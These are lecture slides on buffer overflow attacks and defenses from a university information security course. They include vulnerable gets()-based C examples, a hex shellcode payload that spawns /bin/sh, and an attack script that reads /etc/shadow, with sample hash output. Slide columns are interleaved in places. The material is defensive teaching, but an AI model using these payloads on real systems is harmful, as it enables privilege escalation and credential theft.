Department of Industrial Engineering

Chapter 10
Buffer Overflow
Information Security
2025 Fall Semester
Younho Lee
Learning Objective
❖ Define what a buffer overflow is, and list possible consequences
❖ Describe how a stack buffer overflow works in detail
❖ Define shellcode and describe its use in a buffer overflow attack
❖ List various defences against buffer overflow attacks
❖ List a range of other types of buffer overflow attacks
Introduction
❖ Widely used since Morris Worm at 1988
❖ Techniques for prevention is well known, however it is still major
concern due to:
▪ Legacy buggy codes
▪ Failure to patch and update existing codes
▪ Continuing careless programming practices
❖ Brief History of Some buffer overflow attacks

Years Attacks
2014 Heartbleed (TLS protocol in OPENSSL Library)
2016 Adobe Flash Player
2019 WhatsApp VoIP (FaceBook)
10.1 Stack Overflows

Buffer Overflow Basics (1/6)

❖ Definition by NIST Glossary of Key Information Terms
A condition at an interface under which more input can be placed into a buffer
or data holding area than the capacity allocated, overwriting other information.

Attackers exploit such a condition to crash a system or to insert specially

crafted code that allows them to gain control of the system.

Buffer (char buf[32];)

DATA
10.1 Stack Overflows

Buffer Overflow Basics (2/6)

❖ Programming error when a
process attempts to store data Consequences:
beyond the limits of a fixed-sized
• Corruption of
buffer
program data
• Unexpected
❖ Overwrites adjacent memory transfer of
locations control
▪ Locations could hold other program • Memory access
variables, or program control flow violations
data • Execution of
code chosen by
❖ Buffer could be located on the attacker
stack, in the heap, or in the data
section of the process
10.1 Stack Overflows

Buffer Overflow Basics (3/6)

❖ Basic Buffer Overflow Example
int main(int argc, char *argv[]) { (a) Basic buffer overflow C code
int valid = FALSE; (buffer1.c)
char str1[8];
char str2[8];

next_tag(str1);
gets(str2);
if (strncmp(str1, str2, 8) == 0)
valid = TRUE;
printf(“buffer1: str1(%s), str2(%s), valid(%d)\n”, str1, str2, valid);
}

(b) Basic buffer overflow example

$ cc –g –o buffer1 buffer1.c
$ ./buffer1 runs
START
buffer1: str1(START), str2(START), valid(1)
$./buffer1
EVILINPUTVALUE
buffer1: str1(TVALUE), str2(EVILINPUTVALUE), valid(0)
$./buffer1
BADINPUTBADINPUT
buffer1: str1(BADINPUT), str2(BADINPUTBADINPUT), valid(1)
10.1 Stack Overflows

Buffer Overflow Basics (4/6)

❖ Basic Buffer
Overflow Example
– Stack Values

“BADINPUTBADINPUT”
10.1 Stack Overflows

Buffer Overflow Basics (5/6)

❖ To exploit a buffer overflow an attacker needs:
▪ To identify a buffer overflow vulnerability in programs that can be triggered
using externally sourced data under the attacker’s control
▪ To understand how that buffer is stored in memory and determine potential
for corruption

❖ Identifying vulnerable programs can be done by:

▪ Inspection of program source
▪ Tracing the execution of programs as they process oversized input
▪ Using tools such as fuzzing to automatically identify potentially vulnerable
programs
10.1 Stack Overflows - Buffer Overflow Basics (6/6)

Programming Language History

❖ The machine level data manipulated by machine instructions
executed by the computer processor are stored in either the
processor’s registers or in memory

❖ Assembly language programmer is responsible for the correct

interpretation of any saved data value e.g.> four hexadecimal values in
memory: 90 90 90 90

Modern high-level C and related languages

languages have a strong have high-level control
notion of type and valid structures, but allow
operations direct access to memory

• Not vulnerable to • Hence are vulnerable

buffer overflows to buffer overflow
• Does incur overhead, • Have a large legacy of
some limits on use widely used, unsafe,
and hence vulnerable
code
10.1 Stack Overflows

Stack Buffer Overflow (1/15)

❖ Occur when the targeted buffer is located on the
stack
▪ Usually as a local variable in a function’s stack frame
▪ Also referred to as stack smashing
▪ Used by Morris Worm
▪ Exploits included an unchecked buffer overflow
❖ Stack frame
▪ When one function calls another it needs somewhere
to save the return address
▪ Also needs locations to save the parameters to be
passed into the called function and to possibly save
register values

* Example Stack Frame with Functions P and Q

The process of P’s calling Q – Example Program

void P() int main(void) {

{ P();
Q(10,20); return 1;
return; }
}

int Q(int param1, int param2)

{
int local1, local2;
local1 = param1 + param2;
local2 = param1 * param2;
return local1+local2;
}
10.1 Stack Overflows - Stack Buffer Overflow (2/15)
address
The process of P’s calling Q
❖P:
1) Pushes the parameters for the called function onto the
stack
2) Executes the call instruction to call the target function,
which pushes the return address onto the stack

❖Q
3) Pushes the current frame pointer value (which points to
the calling routine’s frame) onto the stack
4) Sets the frame pointer to be the current stack pointer
value (that is the address of the old frame pointer), which
now identifies the new stack frame location for the called
function * Example Stack
5) Allocates space for local variables by moving the stack Frame with
pointer down to leave sufficient room for them
Functions P and Q
6) Run the body of the called function
10.1 Stack Overflows - Stack Buffer Overflow (3/15)

The process of P’s calling Q (Cont’d) Frame

pointer
❖ Q: (Cont’d)
7) As it exists it first sets the stack pointer back to the value (10)
(8)
of the frame pointer (effectively discarding the space used
by local variables) (9)
8) Pops the old frame pointer value (restoring the link to the
calling routine’s stack frame)
9) Executes the return instruction which pops the saved (7)
address off the stack and returns control to the calling
function
❖ P:
10) Pops the parameter for the called function off the stack
11) Continues execution with the instruction following the
function call * Example Stack
Frame with
Functions P and Q
10.1 Stack Overflows - Stack Buffer Overflow (4/15)

Stack Overflow Example (1/3)

❖ Program Loading into Process Memory
10.1 Stack Overflows - Stack Buffer Overflow (5/15)

Stack Overflow Example (2/3)

❖ Basic stack overflow C code
void hello(char *tag) A part of buffer2.c
{
char inp[16];

printf(“Enter value for %s: “, tag);

gets(inp);
printf(“Hello your %s is %s\n”, tag, inp);
}

❖ Basic stack overflow example runs

$ cc –g –o buffer2 buffer2.c (hello() begins at 0x08048394)
$ ./buffer2
Enter value for name: Bill and Lawrie
Hello your name is Bill and Lawrie
Buffer2 done

$ ./buffer2
Enter value for name: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Segmentation fault (core dumped)
Enter value for name:
Hello your Re?pyy]uEA is ABCDEFGHQRSTUVWXabcdefguyu
$ perl –e ‘print pack(“H*”,
Enter value for Kyyu:
“41424344454647485152535455565758616263646566676808fcffbf948304080a4e4e4e4e0a”);’
Hello your Kyyu is NNNN
| ./buffer2
Segmentation fault (core dumped)
void main(void)
{
char tag[5]=“name”; // (A) Frame pointer indicates 0xbfffbf8e

hello(tag);
printf(“Buffer2 is done”); // (B) at 0x0804830f
}
10.1 Stack Overflows - Stack Buffer Overflow (6/15)

Stack Overflow Example (3/3)

❖ Stack values when basic stack overflow example runs

$ perl –e ‘print pack(“H*”,

“41424344454647485152
535455565758616263646
566676808fcffbf9483040
80a4e4e4e4e0a”);’
| ./buffer2
10.1 Stack Overflows - Stack Buffer Overflow (7/15)

Another Stack Overflow Example

❖ C code (buffer3.c) ❖ Example runs
10.1 Stack Overflows - Stack Buffer Overflow (8/15)

Some Common Unsafe

Table 10.2 Some C Standard
Common Library
Unsafe C Standard Routines
Library Routines

gets(char *str) read line from standard input into str

sprintf(char *str, char *format, ...) create str according to supplied format and variables
strcat(char *dest, char *src) append contents of string src to string dest
strcpy(char *dest, char *src) copy contents of string src to string dest
vsprintf(char *str, char *fmt, va_list ap) create str according to supplied format and variables

❖ All suspects should not be used without checking the total

size of data being transferred in advance or be replaced with
safer alternatives
10.1 Stack Overflows - Stack Buffer Overflow (9/15)

Shellcode
❖ Code supplied by attacker
▪ Often saved in buffer being overflowed
▪ Traditionally transferred control to a user command-line interpreter (shell)
• Shellcode includes the instructions such as execve(“/bin/sh”) or
system(“command.exe”)
▪ Attackers generate shellcode using machine code
❖ Machine code
▪ Specific to processor and operating system
▪ Traditionally needed good assembly language skills to create
▪ More recently a number of sites and tools have been developed that
automate this process
10.1 Stack Overflows - Stack Buffer Overflow (10/15)

Shellcode development
❖ Example UNIX shellcode

(A) Desired shellcode in C

(B) Equivalent position-independent

x86 assembly code * How is a string
“/bin/sh” referenced?

* How does the code

ensure no NULL is
used while adding a
zero at the end of
“/bin/sh”?
(C) Hexadecimal values for complied x86 machine
code * NOP sled
10.1 Stack Overflows - Stack Buffer Overflow (11/15)

Shellcode development (Cont’d)

NOP
JMPSHORT POPA %esi
(Go ahead by 26 XOR From mov %al,
(0x58+0x06)
byte addresses) eax to 0x7(%esi)
eax

0xb0: move the INT 0x80

next byte value ASCII code call -31 (relative
to %al representation of address)
“/bin/sh”
10.1 Stack Overflows - Stack Buffer Overflow (12/15)

Some Common x86 Assembly Language Instructions

MOV src, dest copy (move) value from src into dest
LEA src, dest copy the address (load effective address) of src into dest
ADD / SUB src, dest add / sub value in src from dest leaving result in dest
AND / OR / XOR src, dest logical and / or / xor value in src with dest leaving result in dest
CMP val1, val2 compare val1 and val2, setting CPU flags as a result
JMP / JZ / JNZ addr jump / if zero / if not zero to addr
PUSH src push the value in src onto the stack
POP dest pop the value on the top of the stack into dest
CALL addr call function at addr
LEAVE clean up stack frame before leaving function
RET return from function
INT num software interrupt to access operating system function
NOP no operation or do nothing instruction
10.1 Stack Overflows - Stack Buffer Overflow (13/15)

Some x86 Registers

32 bit 16 bit 8 bit 8 bit Use

(high) (low)
%eax %ax %ah %al Accumulators used for arithmetical and I/O operations and
execute interrupt calls
%ebx %bx %bh %bl Base registers used to access memory, pass system call
arguments and return values
%ecx %cx %ch %cl Counter registers
%edx %dx %dh %dl Data registers used for arithmetic operations, interrupt calls
and IO operations
%ebp Base Pointer containing the address of the current stack
frame
%eip Instruction Pointer or Program Counter containing the
address of the next instruction to be executed
%esi Source Index register used as a pointer for string or array
operations
%esp Stack Pointer containing the address of the top of stack
10.1 Stack Overflows - Stack Buffer Overflow (14/15)

Example Stack Overflow Attack

❖ Target program
void hello(char *tag)
{ With setuid root privilege
char inp[64];

printf(“Enter value for %s: “, tag);

gets(inp);
printf(“Hello your %s is %s\n”, tag, inp);
}

❖ Attack
10.1 Stack Overflows - Stack Buffer Overflow (15/15)

Stack Overflow Variants

Buffer Overflow Defenses (1/10)
❖ Buffer overflows are
widely exploited
Buffer Overflow Defenses (2/10)

Compile-Time Defenses: Programming Language

❖ Use a modern high-level

language Disadvantages
▪ Not vulnerable to buffer
• Additional code must be executed at
overflow attacks run time to impose checks
▪ Compiler enforces range • Flexibility and safety comes at a cost
checks and permissible in resource use
operations on variables • Distance from the underlying machine
language and architecture means that
access to some instructions and
hardware resources is lost
Buffer Overflow Defenses(3/10)

Compile-Time Defenses: Safe Coding Techniques

❖ C designers placed much more emphasis on space efficiency and
performance considerations than on type safety
▪ Assumed programmers would exercise due care in writing code
❖ Programmers need to inspect the code and rewrite any unsafe
coding
▪ An example of this is the OpenBSD project
✓ Programmers have audited the existing code base, including the operating system,
standard libraries, and common utilities
→ This has resulted in what is widely regarded as one of the safest operating systems
in widespread use
int copy_buf(char *to, int pos, char *from, int len)
{
int i;

for (i=0; i<len; i++) {

to[pos] = from[i];
pos++;
}
return pos;
}

(a) Unsafe byte copy

short read_chunk(FILE fil, char *to)

{
short len;
fread(&len, 2, 1, fil); ................................ .................. /* read length of binary data */
fread(to, 1, len, fil); ................................ .................... /* read len bytes of binary data
return len;
}

(b) Unsafe byte input

Figure 10.10 Examples of Unsafe C Code

Buffer Overflow Defenses (5/10)

Compile-Time Defenses: Language Extension/Safe Libraries

❖ Handling dynamically allocated memory is more problematic
because the size information is not available at compile time

❖ Requires an extension and the use of library routines

▪ Programs and libraries need to be recompiled
▪ Likely to have problems with third-party applications

❖ Concerns with C is use of unsafe standard library routines

▪ One approach has been to replace these with safer variants
✓ Provision of new safe functions such as strlcpy()
✓ Example: use of Libsafe
– Can prevent any modification of the old stack frame and return address values
Buffer Overflow Defenses (6/10)

Compile-Time Defenses: Stack Protection (1/2)

❖ Add function entry and exit code to check stack for signs of
corruption
❖ Use random canary
▪ Value needs to be
unpredictable
▪ Should be different on
different systems
Buffer Overflow Defenses (7/10)

Compile-Time Defenses: Stack Protection (2/2)

❖ Stackshield and Return Address Defender (RAD)
▪ GCC extensions that include additional function entry and exit code
✓ Function entry writes a copy of the return address to a safe region of memory
✓ Function exit code checks the return address in the stack frame against the saved
copy
✓ If change is found, aborts the program

Saved frame
pointer
Return Back up before
Address function begins
Buffer Overflow Defenses (8/10)

Run-Time Defenses: Executable Address Space Protection

Use virtual memory

support to make some
Issues
regions of memory non-
executable

• Requires support from memory • Support for executable stack

management unit (MMU) code
• Long existed on SPARC / • In just-in-time compilers
• Nested functions in C
Solaris systems
• Special provisions are needed
• Recent on x86
float E(float x) {
Linux/Unix/Windows systems float F(float y)

{ return x + y; }
return F(3) + F(4);
}
Buffer Overflow Defenses (9/10)

Run-Time Defenses: Address Space Randomization

❖ Manipulate location of key data structures
▪ Stack, heap, global data
▪ Using random shift for each process
▪ Large address range on modern systems means wasting some has
negligible impact
❖ Randomize location of heap buffers
❖ Random location of standard library functions Higher
address
1st execution:
a.out heap libc.so.6 stack

2nd execution:
a.out heap libc.so.6 stack
Buffer Overflow Defenses (10/10)

Run-Time Defenses: Guard Pages

❖ Place guard pages between critical
regions of memory
▪ Flagged in MMU as illegal addresses
▪ Any attempted access aborts access
❖ Further extension places guard pages
between stack frames and heap buffers
▪ Cost in execution time to support the large
number of page mappings necessary
Other Forms of Overflow Attacks (1/5)

Replacement Stack Frame

Variant that overwrites Off-by-one attacks Defenses

buffer and saved frame • Coding error that allows one • Any stack protection
pointer address more byte to be copied than mechanisms to detect
there is space available modifications to the stack frame
• Saved frame pointer value is or return address by function
• Happens due to misuse of
changed to refer to a dummy exit code
operators <=, >= instead of <, >
stack frame
• Use non-executable stacks
• Current function returns to the
• Randomization of the stack in
replacement dummy frame
memory and of system libraries
• Control is transferred to the
shellcode in the overwritten
buffer

Original

R
R
1 0
F
P
R Stack

After overwriting Overwrite frame pointer address

Other Forms of Overflow Attacks (2/5)

Return to System call

❖ Replaces return address with standard
library function
Parameter
▪ Responses to non-executable stack defenses manipulati
on
▪ Attacker constructs suitable parameters on
Frame PT Frame PT
stack above return address
RET0 RET0
▪ Function returns and library function
executes
▪ Attacker may need exact buffer address
▪ Can even chain two library calls
❖ Defenses
Frame PT Frame PT
▪ Any stack protection mechanisms to detect Library
RET
modifications to the stack frame or return addr

address
▪ Randomization of the stack in memory and
of system libraries

Normal After
case attack
Other Forms of Overflow Attacks (3/5)

Heap Overflow
❖ Attack buffer located in heap
▪ Typically located above program code
▪ Memory is requested by programs to use in dynamic data structures (such
as linked lists of records)
❖ No return address
▪ Hence no easy transfer of control
▪ May have function pointers can exploit
▪ Or manipulate management data structures

Defenses
• Making the heap non-executable
• Randomizing the allocation of memory on
the heap
Other Forms of Overflow Attacks (5/5)

Global Data Overflow

❖ Possible with similar way as Heap Overflow
❖ Can be applied when
▪ Has function pointer and vulnerable buffer
▪ Adjacent process management tables
❖ Aims to overwrite function pointer later called
/* global static data - will be targeted for attack */ $ cat attack3
struct chunk { #!/bin/sh
char inp[64]; ................................ ................................ ................................ ................. # implement global data overflow attack against program buffer6
................................ ................................ ................................ .............. /* input buffer */ perl -e 'print pack("H*",
void (*process)(char *); ................................ .... /* pointer to function to process it */ "90909090909090909090909090909090" .
} chunk; "9090eb1a5e31c08846078d1e895e0889" .
"460cb00b89f38d4e088d560ccd80e8e1" .
void showlen(char *buf) "ffffff2f62696e2f7368202020202020" .
{ "409704080a");
int len; print "whoami\n";
len = strlen(buf); print "cat /etc/shadow\n";'
printf("buffer6 read %d chars\n", len);
} $ attack3 | buffer6
Enter value:
int main(int argc, char *argv[]) root
{ root:$1$4oInmych$T3BVS2E3OyNRGjGUzF4o3/:13347:0:99999:7:::
setbuf(stdin, NULL); daemon:*:11453:0:99999:7:::
chunk.process = showlen; ....
printf("Enter value: "); nobody:*:11453:0:99999:7:::
gets(chunk.inp); knoppix:$1$p2wziIML$/yVHPQuw5kvlUFJs3b9aj/:13347:0:99999:7:::
chunk.process(chunk.inp); ....
printf("buffer6 done\n");
}
(b) Example global data overflow attack
(a) Vulnerable global data overflow C code
Figure 10.12 Example Global Data Overflow Attack
Summary
❖Stack overflows ❖ Other forms of overflow
▪ Buffer overflow basics
attacks
▪ Stack buffer overflows ▪ Replacement stack frame

▪ Shellcode ▪ Return to system call

▪ Heap overflows
❖ Defending against buffer
▪ Global data area overflows
Overflows
▪ Other types of overflows
▪ Compile-time defenses
▪ Run-time defenses